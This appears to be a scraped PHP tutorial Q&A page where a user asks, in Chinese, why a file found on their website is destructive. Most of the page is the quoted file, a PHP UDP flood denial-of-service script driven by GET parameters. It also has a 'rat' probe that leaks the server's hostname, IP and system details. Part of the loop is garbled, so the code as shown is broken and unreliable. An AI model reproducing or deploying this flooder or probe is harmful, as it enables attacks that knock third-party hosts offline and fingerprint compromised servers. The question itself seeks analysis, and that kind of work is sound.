Rumah >pembangunan bahagian belakang >tutorial php >大家帮看上这个文件为啥对网站有破坏性
大家帮看下这个文件为啥对网站有破坏性?
<!--Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/--><?phpset_time_limit (999999);$host = $_GET['host'];$port = $_GET['port'];$exec_time = $_GET['time'];$Sendlen = 65535;$packets = 0;ignore_user_abort(True);if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])<>0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Warning to: opening"; exit; }for($i=0;$i $max_time){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); }}echo "Send Host:$host:$port<br><br>";echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";?>